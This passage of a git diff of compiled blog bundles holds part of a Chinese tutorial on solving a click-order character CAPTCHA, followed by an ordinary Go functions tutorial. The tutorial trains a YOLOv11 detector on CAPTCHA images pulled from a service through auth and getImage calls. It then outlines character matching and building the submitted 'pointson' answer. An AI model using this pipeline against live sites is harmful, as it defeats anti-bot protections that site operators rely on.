\u83b7\u53d6\u6240\u6709\u56fe\u7247\u6587\u4ef6\u540d\n image_files = [f for f in os.listdir(images_path) if f.endswith((\'.jpg\', \'.png\'))]\n random.shuffle(image_files)\n\n # \u8ba1\u7b97\u62c6\u5206\u6570\u91cf\n total_images = len(image_files)\n train_count = int(total_images * train_ratio)\n val_count = int(total_images * val_ratio)\n\n # \u62c6\u5206\u6570\u636e\u96c6\n train_files = image_files[:train_count]\n val_files = image_files[train_count:train_count + val_count]\n\n # \u62f7\u8d1d\u6587\u4ef6\u51fd\u6570\n def copy_files(file_list, split):\n for file in file_list:\n # \u590d\u5236\u56fe\u7247\n src_image_path = os.path.join(images_path, file)\n dst_image_path = os.path.join(output_dir, split, "images", file)\n shutil.copy(src_image_path, dst_image_path)\n\n # \u590d\u5236\u6807\u7b7e\n label_file = file.replace(\'.jpg\', \'.txt\').replace(\'.png\', \'.txt\')\n src_label_path = os.path.join(labels_path, label_file)\n dst_label_path = os.path.join(output_dir, split, "labels", label_file)\n if os.path.exists(src_label_path): # \u786e\u4fdd\u6807\u7b7e\u6587\u4ef6\u5b58\u5728\n shutil.copy(src_label_path, dst_label_path)\n\n # \u62f7\u8d1d\u5230\u4e0d\u540c\u96c6\u5408\n copy_files(train_files, "train")\n copy_files(val_files, "val")\n\n print("\u6570\u636e\u96c6\u62c6\u5206\u5b8c\u6210\uff01")\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u62c6\u5206\u5b8c\u6210\u540e\u8fdb\u884c\u8bad\u7ec3"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:'def train(train_model="yolo11n.pt"):\n model = YOLO(train_model)\n\n # \u6587\u5b57\n model.train(data="./dataset.yaml", epochs=100, imgsz="190,500", device="mps")\n #\n # # Export the model to ONNX format\n model.export(format="onnx", imgsz="190,500")\n'})}),"\n",(0,t.jsx)(n.p,{children:"dataset.yaml"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"train: train\nval: val # \u9a8c\u8bc1\u96c6\u56fe\u50cf\u8def\u5f84\ntest: test # \u6d4b\u8bd5\u96c6\u56fe\u50cf\u8def\u5f84\n\nnc: 1 # \u53ea\u6709\u4e00\u4e2a\u7c7b\u522b\nnames: ['0']\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u8bad\u7ec3\u5b8c\u6210\u540e \u4f1a\u751f\u6210 \u6a21\u578b\u6587\u4ef6 ",(0,t.jsx)(n.code,{children:"best.onnx"})]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506141137165",src:i(77833).A+"",width:"1508",height:"906"})}),"\n",(0,t.jsx)(n.h4,{id:"\u56fe\u50cf\u63a8\u7406\u4e0e\u63d0\u53d6",children:"\u56fe\u50cf\u63a8\u7406\u4e0e\u63d0\u53d6"}),"\n",(0,t.jsx)(n.p,{children:"\u8bad\u7ec3\u597d\u7684 YOLOv11 \u6a21\u578b\u53ef\u4ee5\u7528\u6765\u5bf9\u5b9e\u9645\u7684\u9a8c\u8bc1\u7801\u56fe\u50cf\u8fdb\u884c\u63a8\u7406\u3002\u5b83\u4f1a\u5728\u56fe\u50cf\u4e2d\u8f93\u51fa\u591a\u4e2a\u77e9\u5f62\u6846\uff0c\u6bcf\u4e2a\u6846\u7684\u5750\u6807\u6807\u793a\u4e00\u4e2a\u8bc6\u522b\u5230\u7684\u6c49\u5b57\u7684\u4f4d\u7f6e\u3002\u6a21\u578b\u4f1a\u540c\u65f6\u63d0\u4f9b\u6bcf\u4e2a\u6846\u7684\u7f6e\u4fe1\u5ea6\uff0c\u8868\u793a\u5b83\u5bf9\u8fd9\u4e2a\u5b57\u7684\u8bc6\u522b\u4fe1\u5fc3\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u8bad\u7ec3\u5b8c\u6210\u540e\uff0c\u7528\u4e0b\u9762\u7684\u4ee3\u7801\u8fdb\u884c\u6d4b\u8bd5 \u67e5\u770b 5\u4e2a\u56fe\u7247\u662f\u5426\u6ee1\u8db3\u8981\u6c42"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-test",children:'def test(big_img="", onnx="best.onnx", confidence_thres=0.7, iou_thres=0.7):\n if big_img == "":\n token = auth()\n time.sleep(0.1)\n params, clientUid = getImage(token) # \u83b7\u53d6\u56fe\u7247\u4fe1\u606f\n big_img = read_base64_image(base64_string=params["bigImage"])\n else:\n big_img = read_base64_image(big_img)\n\n session = onnxruntime.InferenceSession(onnx)\n model_inputs = session.get_inputs()\n\n # \u8bfb\u53d6\u56fe\u50cf\u5e76\u5904\u7406\n\n img_height, img_width = big_img.shape[:2]\n img = cv2.cvtColor(big_img, cv2.COLOR_BGR2RGB)\n img = cv2.resize(img, (512, 192))\n image_data = np.array(img) / 255.0\n image_data = np.transpose(image_data, (2, 0, 1))\n image_data = np.expand_dims(image_data, axis=0).astype(np.float32)\n input = {model_inputs[0].name: image_data}\n output = session.run(None, input)\n outputs = np.transpose(np.squeeze(output[0]))\n rows = outputs.shape[0]\n boxes, scores = [], []\n x_factor = img_width / 512\n y_factor = img_height / 192\n for i in range(rows):\n classes_scores = outputs[i][4:]\n max_score = np.amax(classes_scores)\n if max_score >= confidence_thres:\n x, y, w, h = outputs[i][0], outputs[i][1], outputs[i][2], outputs[i][3]\n left = int((x - w / 2) * x_factor)\n top = int((y - h / 2) * y_factor)\n width = int(w * x_factor)\n height = int(h * y_factor)\n boxes.append([left, top, width, height])\n scores.append(max_score)\n indices = cv2.dnn.NMSBoxes(boxes, scores, confidence_thres, iou_thres)\n if len(indices) < 5:\n print("\u68c0\u6d4b\u6846\u6570\u91cf\u4e0d\u8db35\u4e2a")\n return False\n indices = indices[:5]\n for idx in indices: # \u4f7f\u7528 indices.flatten() \u5c55\u5f00\u4e3a\u4e00\u7ef4\u6570\u7ec4\n box = boxes[idx] # \u83b7\u53d6\u6846\n x, y, w, h = box[0], box[1], box[2], box[3]\n # \u9632\u6b62\u8d8a\u754c\n x1 = max(0, x)\n y1 = max(0, y)\n x2 = min(x + w, img_width)\n y2 = min(y + h, img_height)\n\n # \u88c1\u526a\u56fe\u7247\n cropped_img = big_img[y1:y2, x1:x2]\n\n # \u4fdd\u5b58\u56fe\u7247\n save_path = f"cut_image_{idx}.jpg"\n cv2.imwrite(save_path, cropped_img)\n print(f"\u4fdd\u5b58\u56fe\u7247\u5230 {save_path}")\n\n pass\n'})}),"\n",(0,t.jsx)(n.h3,{id:"\u7528\u5b6a\u751f\u7f51\u7edc\u505a\u4e86\u4e2a\u6bd4\u4e00\u6bd4",children:"\u7528\u5b6a\u751f\u7f51\u7edc\u505a\u4e86\u4e2a\u6bd4\u4e00\u6bd4"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsxs)(n.li,{children:["\u524d\u9762\u6211\u4eec\u5df2\u7ecf\u7528 YOLOv11 \u628a\u9a8c\u8bc1\u7801\u56fe\u7247\u91cc\u7684 5 \u4e2a\u5b57\u62a0\u51fa\u6765\u4e86\uff0c\u4f46\u8fd9\u4e9b\u5b57\u662f\u56fe\u50cf\uff0c\u4e0d\u662f\u6587\u672c\u3002\u4e0e\u6b64\u540c\u65f6\uff0c\u9a8c\u8bc1\u7801\u7684\u63d0\u793a\u4fe1\u606f\uff08\u6bd4\u5982\u201c\u8bf7\u6309\u987a\u5e8f\u70b9\u51fb\uff1a\u5f3a\u3001\u5149\u3001\u7231\u3001\u56fd\u201d\uff09\u7ed9\u7684\u662f",(0,t.jsx)(n.strong,{children:"\u6587\u5b57\u5185\u5bb9"}),"\u3002"]}),"\n",(0,t.jsx)(n.li,{children:"\u6a21\u677f\u5b57\u4ece\u63d0\u793a\u533a\u57df\u622a\u51fa\u6765"}),"\n",(0,t.jsx)(n.li,{children:"\u6700\u7ec8\u6a21\u578b\u9009\u51fa\u5339\u914d\u5f97\u5206\u6700\u9ad8\u7684 4 \u4e2a\uff0c\u6309\u4f4d\u7f6e\u6392\u5e8f"}),"\n"]}),"\n",(0,t.jsx)(n.h3,{id:"\u56db\u751f\u6210\u6700\u7ec8\u7684-pointson-\u53c2\u6570",children:"\u56db\u3001\u751f\u6210\u6700\u7ec8\u7684 pointson \u53c2\u6570"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"\u628a 4 \u4e2a\u5b57\u7684\u4f4d\u7f6e \u2192 \u751f\u6210 4 \u4e2a\u70b9\u5750\u6807"}),"\n",(0,t.jsx)(n.li,{children:"\u6309\u987a\u5e8f\u7ec4\u7ec7\u597d\u6784\u9020\u6210 pointson \u53c2\u6570"}),"\n",(0,t.jsx)(n.li,{children:"\u793a\u4f8b\u7ed3\u6784 or \u6293\u5305\u53c2\u8003\u4e00\u4e0b\u771f\u5b9e\u6837\u5b50"}),"\n"]}),"\n",(0,t.jsx)(n.h3,{id:"\u4e94\u7ed3\u679c\u8fd8\u884c\u5417",children:"\u4e94\u3001\u7ed3\u679c\u8fd8\u884c\u5417\uff1f"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"\u6210\u529f\u7387\u6d4b\u8bd5"}),"\n",(0,t.jsx)(n.li,{children:"\u9519\u8bef\u7684\u4e3b\u8981\u70b9\u5728\u54ea\u513f\uff08\u8bc6\u522b\u4e0d\u51c6\uff1f\u5339\u914d\u5931\u8d25\uff1f\uff09"}),"\n",(0,t.jsx)(n.li,{children:"\u6709\u5565\u4f18\u5316\u7a7a\u95f4\uff08\u589e\u5f3a\u56fe\u50cf\u3001\u52a0\u6570\u636e\u3001\u591a\u8bad\u7ec3\uff09"}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/assets/js/6877a81c.c9913b10.js b/assets/js/6877a81c.c9913b10.js new file mode 100644 index 0000000..977a4dc --- /dev/null +++ b/assets/js/6877a81c.c9913b10.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6728],{28453:(n,e,t)=>{t.d(e,{R:()=>l,x:()=>d});var r=t(96540);const c={},i=r.createContext(c);function l(n){const e=r.useContext(i);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function d(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(c):n.components||c:l(n.components),r.createElement(i.Provider,{value:e},n.children)}},68348:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>s,contentTitle:()=>d,default:()=>x,frontMatter:()=>l,metadata:()=>r,toc:()=>a});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u51fd\u6570","title":"\u51fd\u6570","description":"Go\u8bed\u8a00\u4e2d\u652f\u6301\u51fd\u6570\u3001\u533f\u540d\u51fd\u6570\u548c\u95ed\u5305\uff0c\u5e76\u4e14\u51fd\u6570\u5728Go\u8bed\u8a00\u4e2d\u5c5e\u4e8e\u201c\u4e00\u7b49\u516c\u6c11\u201d\u3002","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/10.GoLang-\u51fd\u6570.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u51fd\u6570","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u51fd\u6570","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/10.GoLang-\u51fd\u6570.md","tags":[],"version":"current","sidebarPosition":10,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"map","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-map"},"next":{"title":"Go\u8bed\u8a00\u6587\u4ef6\u64cd\u4f5c","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6587\u4ef6io"}}');var c=t(74848),i=t(28453);const l={},d="\u51fd\u6570",s={},a=[{value:"\u51fd\u6570\u5b9a\u4e49",id:"\u51fd\u6570\u5b9a\u4e49",level:2},{value:"\u51fd\u6570\u7684\u8c03\u7528",id:"\u51fd\u6570\u7684\u8c03\u7528",level:2},{value:"\u53c2\u6570",id:"\u53c2\u6570",level:2},{value:"\u7c7b\u578b\u7b80\u5199",id:"\u7c7b\u578b\u7b80\u5199",level:3},{value:"\u53ef\u53d8\u53c2\u6570",id:"\u53ef\u53d8\u53c2\u6570",level:3},{value:"\u8fd4\u56de\u503c",id:"\u8fd4\u56de\u503c",level:2},{value:"\u591a\u8fd4\u56de\u503c",id:"\u591a\u8fd4\u56de\u503c",level:3},{value:"\u8fd4\u56de\u503c\u547d\u540d",id:"\u8fd4\u56de\u503c\u547d\u540d",level:3},{value:"\u8fd4\u56de\u503c\u8865\u5145",id:"\u8fd4\u56de\u503c\u8865\u5145",level:3},{value:"\u51fd\u6570\u8fdb\u9636",id:"\u51fd\u6570\u8fdb\u9636",level:2},{value:"\u53d8\u91cf\u4f5c\u7528\u57df",id:"\u53d8\u91cf\u4f5c\u7528\u57df",level:3},{value:"\u5168\u5c40\u53d8\u91cf",id:"\u5168\u5c40\u53d8\u91cf",level:4},{value:"\u5c40\u90e8\u53d8\u91cf",id:"\u5c40\u90e8\u53d8\u91cf",level:4},{value:"\u51fd\u6570\u7c7b\u578b\u4e0e\u53d8\u91cf",id:"\u51fd\u6570\u7c7b\u578b\u4e0e\u53d8\u91cf",level:3},{value:"\u5b9a\u4e49\u51fd\u6570\u7c7b\u578b",id:"\u5b9a\u4e49\u51fd\u6570\u7c7b\u578b",level:4},{value:"\u51fd\u6570\u7c7b\u578b\u53d8\u91cf",id:"\u51fd\u6570\u7c7b\u578b\u53d8\u91cf",level:4},{value:"\u9ad8\u9636\u51fd\u6570",id:"\u9ad8\u9636\u51fd\u6570",level:3},{value:"\u51fd\u6570\u4f5c\u4e3a\u53c2\u6570",id:"\u51fd\u6570\u4f5c\u4e3a\u53c2\u6570",level:4},{value:"\u51fd\u6570\u4f5c\u4e3a\u8fd4\u56de\u503c",id:"\u51fd\u6570\u4f5c\u4e3a\u8fd4\u56de\u503c",level:4},{value:"\u533f\u540d\u51fd\u6570\u548c\u95ed\u5305",id:"\u533f\u540d\u51fd\u6570\u548c\u95ed\u5305",level:3},{value:"\u533f\u540d\u51fd\u6570",id:"\u533f\u540d\u51fd\u6570",level:4},{value:"\u95ed\u5305",id:"\u95ed\u5305",level:4},{value:"defer\u8bed\u53e5",id:"defer\u8bed\u53e5",level:3},{value:"defer\u6267\u884c\u65f6\u673a",id:"defer\u6267\u884c\u65f6\u673a",level:4},{value:"defer\u7ecf\u5178\u6848\u4f8b",id:"defer\u7ecf\u5178\u6848\u4f8b",level:4},{value:"defer\u9762\u8bd5\u9898",id:"defer\u9762\u8bd5\u9898",level:4},{value:"\u5185\u7f6e\u51fd\u6570\u4ecb\u7ecd",id:"\u5185\u7f6e\u51fd\u6570\u4ecb\u7ecd",level:2},{value:"panic/recover",id:"panicrecover",level:3}];function f(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(e.header,{children:(0,c.jsx)(e.h1,{id:"\u51fd\u6570",children:"\u51fd\u6570"})}),"\n",(0,c.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u652f\u6301\u51fd\u6570\u3001\u533f\u540d\u51fd\u6570\u548c\u95ed\u5305\uff0c\u5e76\u4e14\u51fd\u6570\u5728Go\u8bed\u8a00\u4e2d\u5c5e\u4e8e\u201c\u4e00\u7b49\u516c\u6c11\u201d\u3002"}),"\n",(0,c.jsx)(e.h2,{id:"\u51fd\u6570\u5b9a\u4e49",children:"\u51fd\u6570\u5b9a\u4e49"}),"\n",(0,c.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u5b9a\u4e49\u51fd\u6570\u4f7f\u7528",(0,c.jsx)(e.code,{children:"func"}),"\u5173\u952e\u5b57\uff0c\u5177\u4f53\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func \u51fd\u6570\u540d(\u53c2\u6570)(\u8fd4\u56de\u503c){\n \u51fd\u6570\u4f53\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,c.jsxs)(e.ul,{children:["\n",(0,c.jsx)(e.li,{children:"\u51fd\u6570\u540d\uff1a\u7531\u5b57\u6bcd\u3001\u6570\u5b57\u3001\u4e0b\u5212\u7ebf\u7ec4\u6210\u3002\u4f46\u51fd\u6570\u540d\u7684\u7b2c\u4e00\u4e2a\u5b57\u6bcd\u4e0d\u80fd\u662f\u6570\u5b57\u3002\u5728\u540c\u4e00\u4e2a\u5305\u5185\uff0c\u51fd\u6570\u540d\u4e5f\u79f0\u4e0d\u80fd\u91cd\u540d\uff08\u5305\u7684\u6982\u5ff5\u8be6\u89c1\u540e\u6587\uff09\u3002"}),"\n",(0,c.jsxs)(e.li,{children:["\u53c2\u6570\uff1a\u53c2\u6570\u7531\u53c2\u6570\u53d8\u91cf\u548c\u53c2\u6570\u53d8\u91cf\u7684\u7c7b\u578b\u7ec4\u6210\uff0c\u591a\u4e2a\u53c2\u6570\u4e4b\u95f4\u4f7f\u7528",(0,c.jsx)(e.code,{children:","}),"\u5206\u9694\u3002"]}),"\n",(0,c.jsxs)(e.li,{children:["\u8fd4\u56de\u503c\uff1a\u8fd4\u56de\u503c\u7531\u8fd4\u56de\u503c\u53d8\u91cf\u548c\u5176\u53d8\u91cf\u7c7b\u578b\u7ec4\u6210\uff0c\u4e5f\u53ef\u4ee5\u53ea\u5199\u8fd4\u56de\u503c\u7684\u7c7b\u578b\uff0c\u591a\u4e2a\u8fd4\u56de\u503c\u5fc5\u987b\u7528",(0,c.jsx)(e.code,{children:"()"}),"\u5305\u88f9\uff0c\u5e76\u7528",(0,c.jsx)(e.code,{children:","}),"\u5206\u9694\u3002"]}),"\n",(0,c.jsx)(e.li,{children:"\u51fd\u6570\u4f53\uff1a\u5b9e\u73b0\u6307\u5b9a\u529f\u80fd\u7684\u4ee3\u7801\u5757\u3002"}),"\n"]}),"\n",(0,c.jsx)(e.p,{children:"\u6211\u4eec\u5148\u6765\u5b9a\u4e49\u4e00\u4e2a\u6c42\u4e24\u4e2a\u6570\u4e4b\u548c\u7684\u51fd\u6570\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func intSum(x int, y int) int {\n\treturn x + y\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u51fd\u6570\u7684\u53c2\u6570\u548c\u8fd4\u56de\u503c\u90fd\u662f\u53ef\u9009\u7684\uff0c\u4f8b\u5982\u6211\u4eec\u53ef\u4ee5\u5b9e\u73b0\u4e00\u4e2a\u65e2\u4e0d\u9700\u8981\u53c2\u6570\u4e5f\u6ca1\u6709\u8fd4\u56de\u503c\u7684\u51fd\u6570\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func sayHello() {\n\tfmt.Println("Hello \u6c99\u6cb3")\n}\n'})}),"\n",(0,c.jsx)(e.h2,{id:"\u51fd\u6570\u7684\u8c03\u7528",children:"\u51fd\u6570\u7684\u8c03\u7528"}),"\n",(0,c.jsxs)(e.p,{children:["\u5b9a\u4e49\u4e86\u51fd\u6570\u4e4b\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,c.jsx)(e.code,{children:"\u51fd\u6570\u540d()"}),"\u7684\u65b9\u5f0f\u8c03\u7528\u51fd\u6570\u3002 \u4f8b\u5982\u6211\u4eec\u8c03\u7528\u4e0a\u9762\u5b9a\u4e49\u7684\u4e24\u4e2a\u51fd\u6570\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func main() {\n\tsayHello()\n\tret := intSum(10, 20)\n\tfmt.Println(ret)\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u6ce8\u610f\uff0c\u8c03\u7528\u6709\u8fd4\u56de\u503c\u7684\u51fd\u6570\u65f6\uff0c\u53ef\u4ee5\u4e0d\u63a5\u6536\u5176\u8fd4\u56de\u503c\u3002"}),"\n",(0,c.jsx)(e.h2,{id:"\u53c2\u6570",children:"\u53c2\u6570"}),"\n",(0,c.jsx)(e.h3,{id:"\u7c7b\u578b\u7b80\u5199",children:"\u7c7b\u578b\u7b80\u5199"}),"\n",(0,c.jsx)(e.p,{children:"\u51fd\u6570\u7684\u53c2\u6570\u4e2d\u5982\u679c\u76f8\u90bb\u53d8\u91cf\u7684\u7c7b\u578b\u76f8\u540c\uff0c\u5219\u53ef\u4ee5\u7701\u7565\u7c7b\u578b\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func intSum(x, y int) int {\n\treturn x + y\n}\n"})}),"\n",(0,c.jsxs)(e.p,{children:["\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\uff0c",(0,c.jsx)(e.code,{children:"intSum"}),"\u51fd\u6570\u6709\u4e24\u4e2a\u53c2\u6570\uff0c\u8fd9\u4e24\u4e2a\u53c2\u6570\u7684\u7c7b\u578b\u5747\u4e3a",(0,c.jsx)(e.code,{children:"int"}),"\uff0c\u56e0\u6b64\u53ef\u4ee5\u7701\u7565",(0,c.jsx)(e.code,{children:"x"}),"\u7684\u7c7b\u578b\uff0c\u56e0\u4e3a",(0,c.jsx)(e.code,{children:"y"}),"\u540e\u9762\u6709\u7c7b\u578b\u8bf4\u660e\uff0c",(0,c.jsx)(e.code,{children:"x"}),"\u53c2\u6570\u4e5f\u662f\u8be5\u7c7b\u578b\u3002"]}),"\n",(0,c.jsx)(e.h3,{id:"\u53ef\u53d8\u53c2\u6570",children:"\u53ef\u53d8\u53c2\u6570"}),"\n",(0,c.jsxs)(e.p,{children:["\u53ef\u53d8\u53c2\u6570\u662f\u6307\u51fd\u6570\u7684\u53c2\u6570\u6570\u91cf\u4e0d\u56fa\u5b9a\u3002Go\u8bed\u8a00\u4e2d\u7684\u53ef\u53d8\u53c2\u6570\u901a\u8fc7\u5728\u53c2\u6570\u540d\u540e\u52a0",(0,c.jsx)(e.code,{children:"..."}),"\u6765\u6807\u8bc6\u3002"]}),"\n",(0,c.jsx)(e.p,{children:"\u6ce8\u610f\uff1a\u53ef\u53d8\u53c2\u6570\u901a\u5e38\u8981\u4f5c\u4e3a\u51fd\u6570\u7684\u6700\u540e\u4e00\u4e2a\u53c2\u6570\u3002"}),"\n",(0,c.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func intSum2(x ...int) int {\n\tfmt.Println(x) //x\u662f\u4e00\u4e2a\u5207\u7247\n\tsum := 0\n\tfor _, v := range x {\n\t\tsum = sum + v\n\t}\n\treturn sum\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u8c03\u7528\u4e0a\u9762\u7684\u51fd\u6570\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"ret1 := intSum2()\nret2 := intSum2(10)\nret3 := intSum2(10, 20)\nret4 := intSum2(10, 20, 30)\nfmt.Println(ret1, ret2, ret3, ret4) //0 10 30 60\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u56fa\u5b9a\u53c2\u6570\u642d\u914d\u53ef\u53d8\u53c2\u6570\u4f7f\u7528\u65f6\uff0c\u53ef\u53d8\u53c2\u6570\u8981\u653e\u5728\u56fa\u5b9a\u53c2\u6570\u7684\u540e\u9762\uff0c\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func intSum3(x int, y ...int) int {\n\tfmt.Println(x, y)\n\tsum := x\n\tfor _, v := range y {\n\t\tsum = sum + v\n\t}\n\treturn sum\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u8c03\u7528\u4e0a\u8ff0\u51fd\u6570\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"ret5 := intSum3(100)\nret6 := intSum3(100, 10)\nret7 := intSum3(100, 10, 20)\nret8 := intSum3(100, 10, 20, 30)\nfmt.Println(ret5, ret6, ret7, ret8) //100 110 130 160\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u672c\u8d28\u4e0a\uff0c\u51fd\u6570\u7684\u53ef\u53d8\u53c2\u6570\u662f\u901a\u8fc7\u5207\u7247\u6765\u5b9e\u73b0\u7684\u3002"}),"\n",(0,c.jsx)(e.h2,{id:"\u8fd4\u56de\u503c",children:"\u8fd4\u56de\u503c"}),"\n",(0,c.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u901a\u8fc7",(0,c.jsx)(e.code,{children:"return"}),"\u5173\u952e\u5b57\u5411\u5916\u8f93\u51fa\u8fd4\u56de\u503c\u3002"]}),"\n",(0,c.jsx)(e.h3,{id:"\u591a\u8fd4\u56de\u503c",children:"\u591a\u8fd4\u56de\u503c"}),"\n",(0,c.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u51fd\u6570\u652f\u6301\u591a\u8fd4\u56de\u503c\uff0c\u51fd\u6570\u5982\u679c\u6709\u591a\u4e2a\u8fd4\u56de\u503c\u65f6\u5fc5\u987b\u7528",(0,c.jsx)(e.code,{children:"()"}),"\u5c06\u6240\u6709\u8fd4\u56de\u503c\u5305\u88f9\u8d77\u6765\u3002"]}),"\n",(0,c.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func calc(x, y int) (int, int) {\n\tsum := x + y\n\tsub := x - y\n\treturn sum, sub\n}\n"})}),"\n",(0,c.jsx)(e.h3,{id:"\u8fd4\u56de\u503c\u547d\u540d",children:"\u8fd4\u56de\u503c\u547d\u540d"}),"\n",(0,c.jsxs)(e.p,{children:["\u51fd\u6570\u5b9a\u4e49\u65f6\u53ef\u4ee5\u7ed9\u8fd4\u56de\u503c\u547d\u540d\uff0c\u5e76\u5728\u51fd\u6570\u4f53\u4e2d\u76f4\u63a5\u4f7f\u7528\u8fd9\u4e9b\u53d8\u91cf\uff0c\u6700\u540e\u901a\u8fc7",(0,c.jsx)(e.code,{children:"return"}),"\u5173\u952e\u5b57\u8fd4\u56de\u3002"]}),"\n",(0,c.jsx)(e.p,{children:"\u4f8b\u5982\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func calc(x, y int) (sum, sub int) {\n\tsum = x + y\n\tsub = x - y\n\treturn\n}\n"})}),"\n",(0,c.jsx)(e.h3,{id:"\u8fd4\u56de\u503c\u8865\u5145",children:"\u8fd4\u56de\u503c\u8865\u5145"}),"\n",(0,c.jsx)(e.p,{children:"\u5f53\u6211\u4eec\u7684\u4e00\u4e2a\u51fd\u6570\u8fd4\u56de\u503c\u7c7b\u578b\u4e3aslice\u65f6\uff0cnil\u53ef\u4ee5\u770b\u505a\u662f\u4e00\u4e2a\u6709\u6548\u7684slice\uff0c\u6ca1\u5fc5\u8981\u663e\u793a\u8fd4\u56de\u4e00\u4e2a\u957f\u5ea6\u4e3a0\u7684\u5207\u7247\u3002"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func someFunc(x string) []int {\n\tif x == "" {\n\t\treturn nil // 